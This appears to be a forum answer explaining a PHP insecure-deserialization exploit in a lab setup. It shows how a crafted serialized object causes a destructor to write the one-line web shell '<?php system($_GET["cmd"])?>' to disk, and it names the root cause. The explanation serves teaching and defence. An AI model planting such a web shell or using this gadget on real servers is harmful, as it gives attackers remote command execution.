The two files
It is important to understand their different roles of the two PHP files that you are using:
one.php
is the vulnerable system, the one you are attacking.
two.php
The second one is just a tool the attacker can use to generate the serialized object (i.e. data
). It isn't supposed to be present on the system that you are attacking, and you don't need it at all. You could just as well generate the data
string by hand.
So in a real example the two files wouldn't even be present on the same system. The first would run on the server that is being attacked, and the second would be executed localy at the attackers machine.
So why the same classname in both files? Because when data
is deserialized on the server, you want it to create an instance of the utkarsh
class. After all, that's the class that will write the file for you. For one.php
to create an instance of that object, data
needs to contain that object name. And an easy way to create a serialized object string containing that class name is to create a different class with that name and serialize it, just as you have done in two.php
.
Note that when one.php
runs unserialize
it creates an instance of the utkarsh
it knows about in one.php
and not of the one in two.php
.
The actual exploit
The exploit part of your process is making a request for one.php
with the serialized object in the data
parameter. So why does that result in a successful exploit? Let's go through, step by step, what is actually happening when one.php
is executed.
The first row that actually does something is this one:
$v1 = unserialize(@$_GET['data']);
Given the data
you provided, it will create an object named $v1
of the class utkarsh
(as defined in one.php
) with the following properties:
$logfile = "test.php";
$logdata = '<?php system($_GET["cmd"])?>';
Then there's this:
$object = new utkarsh();
$object->check();
This creates another instance of the utkarsh
class. But it's not realy relevant for the exploit in any way as far as I can see - this should work equally well without those two lines.
Then we reach the end of the script. When PHP reaches the end of a script it runs a "shutdown sequence". That includes calling the __destruct
method on all objects. So for $v1
it will run this little piece of code:
file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata)
Or, if we enter the variable values:
file_put_contents(__DIR__ . '/test.php', '<?php system($_GET["cmd"])?>')
There you have it. You are right that "you" didn't write the file - instead you succesfully tricked the PHP script to write the backdoor for you.
Why is the system vulnerable?
The whole reason that this vulnerability is possible is that you pass user data to unserialize
. That allows an attacker to create objects in states that they would never be in during "normal" execution of the program, allowing the program to have unexpected effects.